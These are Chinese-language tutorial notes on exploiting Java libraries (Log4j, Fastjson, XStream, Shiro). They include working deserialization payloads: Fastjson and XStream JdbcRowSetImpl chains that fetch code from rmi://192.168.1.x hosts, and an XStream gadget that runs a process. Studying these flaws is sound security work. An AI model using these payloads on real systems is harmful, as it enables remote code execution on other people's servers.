java常见第三方依赖以及相关安全问题
1、Log4j
简介 :
它的主要功能就是,进行日志的记录,主要的作用就是用于调试服务开启时出现的一些错误问题
使用
导入到依赖库
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>
版本一定不能大于这个 不然,高版本的会失效在 2.5 之后就执行不了了
新建一个对象:
原本log报错:是在一个业务中如果 我们的程序执行了我们不想要的结果 :
然而这涉及到 变量的重叠
//正常情况下 $ 就类似于执行一个命令 java是语言 os是要执行的命令String code="${java:os}";log.error("{}",code);
最后执行的结果
使用serverlet进行测试
会有这个特殊字符无法处理的报错,解决方式 直接使用url编码
测试
黑盒情况下:大规模的对可控制的参数进行 lookup 的插入
白盒就找 :log4j版本 => 找函数log.error -> 可控制的参数
FastJson
主要的功能就是对 json数据进行处理,安全问题出现在反序列化时会执行jndi注入的风险
序列化 : object=>json
反 : json=>object
操作
导入依赖库
// 利用代码package com.example.log4jdemo;import com.alibaba.fastjson.JSON;import javax.naming.InitialContext;public class Fastjsondemo {public static void main(String[] args) {// fastjson反序列化操作String payload = "{" +"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +"\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +"\"autoCommit\":true" +"}";JSON.parse(payload);}
}
切换高版本:
高版本再执行上面的payload没有反应 需要新的payload
String payload = "{ \n" +" \"a\": { \n" +" \"@type\": \"java.lang.Class\", \n" +" \"val\": \"com.sun.rowset.JdbcRowSetImpl\" \n" +" }, \n" +" \"b\": { \n" +" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \n" +" \"dataSourceName\": \"rmi://192.168.1.4:1099/txtjkd\", \n" +" \"autoCommit\": true \n" +" }\n" +"}";
Xstream
这个类似于 Fastjson 主要是对 Xml数据的处理
一则登录xml数据传输的格式
<admin>
<acount>xiaodi</acount>
<passwd>xiaodi<passwd>
</admin>
所以他的利用也是在反序列化中进行
利用
导入库
新建一个类
Car
调用一个接口
重写方法
使用xml进行操作
反序列之后会执行重写的方法
还有一个利用方法就是使用本地自带的JDK链进行操作
version : 1.4.5String payload = "<sorted-set>\n" +" <dynamic-proxy>\n" +" <interface>java.lang.Comparable</interface>\n" +" <handler class=\"java.beans.EventHandler\">\n" +" <target class=\"java.lang.ProcessBuilder\">\n" +" <command>\n" +" <string>calc.exe</string>\n" +" </command>\n" +" </target>\n" +" <action>start</action>\n" +" </handler>\n" +" </dynamic-proxy>\n" +"</sorted-set>";
对于高版本 :
version :1.4.15String poc="<java.util.PriorityQueue serialization='custom'>\n" +" <unserializable-parents/>\n" +" <java.util.PriorityQueue>\n" +" <default>\n" +" <size>2</size>\n" +" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +" <packet>\n" +" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +" <uriProperties/>\n" +" <attributeProperties/>\n" +" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +" <getter>\n" +" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +" <name>getDatabaseMetaData</name>\n" +" <parameter-types/>\n" +" </getter>\n" +" </inheritedAttWildcard>\n" +" </bi>\n" +" <tagName/>\n" +" <context>\n" +" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +" <outer-class reference='../..'/>\n" +" </marshallerPool>\n" +" <nameList>\n" +" <nsUriCannotBeDefaulted>\n" +" <boolean>true</boolean>\n" +" </nsUriCannotBeDefaulted>\n" +" <namespaceURIs>\n" +" <string>1</string>\n" +" </namespaceURIs>\n" +" <localNames>\n" +" <string>UTF-8</string>\n" +" </localNames>\n" +" </nameList>\n" +" </context>\n" +" </bridge>\n" +" </bridge>\n" +" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +" <javax.sql.rowset.BaseRowSet>\n" +" <default>\n" +" <concurrency>1008</concurrency>\n" +" <escapeProcessing>true</escapeProcessing>\n" +" <fetchDir>1000</fetchDir>\n" +" <fetchSize>0</fetchSize>\n" +" <isolation>2</isolation>\n" +" <maxFieldSize>0</maxFieldSize>\n" +" <maxRows>0</maxRows>\n" +" <queryTimeout>0</queryTimeout>\n" +" <readOnly>true</readOnly>\n" +" <rowSetType>1004</rowSetType>\n" +" <showDeleted>false</showDeleted>\n" +" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" +" <params/>\n" +" </default>\n" +" </javax.sql.rowset.BaseRowSet>\n" +" <com.sun.rowset.JdbcRowSetImpl>\n" +" <default>\n" +" <iMatchColumns>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" </iMatchColumns>\n" +" <strMatchColumns>\n" +" <string>foo</string>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" </strMatchColumns>\n" +" </default>\n" +" </com.sun.rowset.JdbcRowSetImpl>\n" +" </jaxbObject>\n" +" </dataSource>\n" +" </message>\n" +" <satellites/>\n" +" <invocationProperties/>\n" +" </packet>\n" +" </indexMap>\n" +" </comparator>\n" +" </default>\n" +" <int>3</int>\n" +" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +" </java.util.PriorityQueue>\n" +"</java.util.PriorityQueue>";
先加载一下库
需要导入rmi的地方 :
只能就能执行jndi注入
测试
他的测试和fastjson一样所以一块写 :
黑盒 : 类似于功能点登录框,反馈意见之类的,黑盒就是盲测
白盒:需要先看对方 Xs Fs的版本 然后找合适的paylaod,如果有jndi的利用点 注意看jdk是否支持
Shiro
它的功能就是 登录页面的验证 例子就是 有的登录用户登录之后会有一个 记住我,让下次登录的时候,不用输入账号密码
简单的搭建(配合ai)
这个项目是 serverlet+jsp+Shiro 构造登录功能
1、pom.xml导入 shiro
<dependency><groupId>org.apache.shiro</groupId><artifactId>shiro-web</artifactId><version>1.9.1</version></dependency>
2、配置jsp页面(这个其实就是java的厉害之处就是 每一个功能点对应相应的jsp前端页面)
login.jsp:
<!DOCTYPE html>
<html>
<head><title>登录页面</title>
</head>
<body>
<h2>用户登录</h2>
<form action="login" method="post">用户名: <input type="text" name="username"><br>密码: <input type="password" name="password"><br><input type="submit" value="登录">
</form>
</body>
</html>
3、配置 shiro登录页面的账号密码
这个真实情况下是从数据中提取出的
创建第一个类
package com.example.shirowebdemo48;import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/login")
public class LoginServlet extends HttpServlet {@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String username = req.getParameter("username"); //接受post传输模式下的账号密码String password = req.getParameter("password");Subject subject = SecurityUtils.getSubject();UsernamePasswordToken token = new UsernamePasswordToken(username, password);//生成tokentry { // 判断登录subject.login(token); // 执行登录resp.getWriter().write("ok you are admin");} catch (Exception e) {resp.getWriter().write("failed you are error:" + e.getMessage());}}@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {Subject subject = SecurityUtils.getSubject();subject.logout(); // 执行注销resp.getWriter().write("注销成功");}
}
管理员登录之后的功能点
package com.example.shirowebdemo48;import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;@WebServlet("/admin")
public class AdminServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {Subject subject = SecurityUtils.getSubject(); //shiro 判断用户登录是否为管理员if (subject.hasRole("admin")) {resp.getWriter().write("欢迎管理员");} else {resp.getWriter().write("无权限访问");}}
}
运行 jsp文件 发现报错
在pom.xml中添加 :
<dependency><groupId>org.slf4j</groupId><artifactId>slf4j-log4j12</artifactId><version>1.7.36</version></dependency><dependency><groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.2</version></dependency>
他的功能一目了然 : 判断我们前端输入密码的正确性
利用:
一般我们利用shiro 就是使用反序列化
因为他有个标志就是 remberME=
这个地方就是反序列化利用的地方
可以直接使用工具进行爆破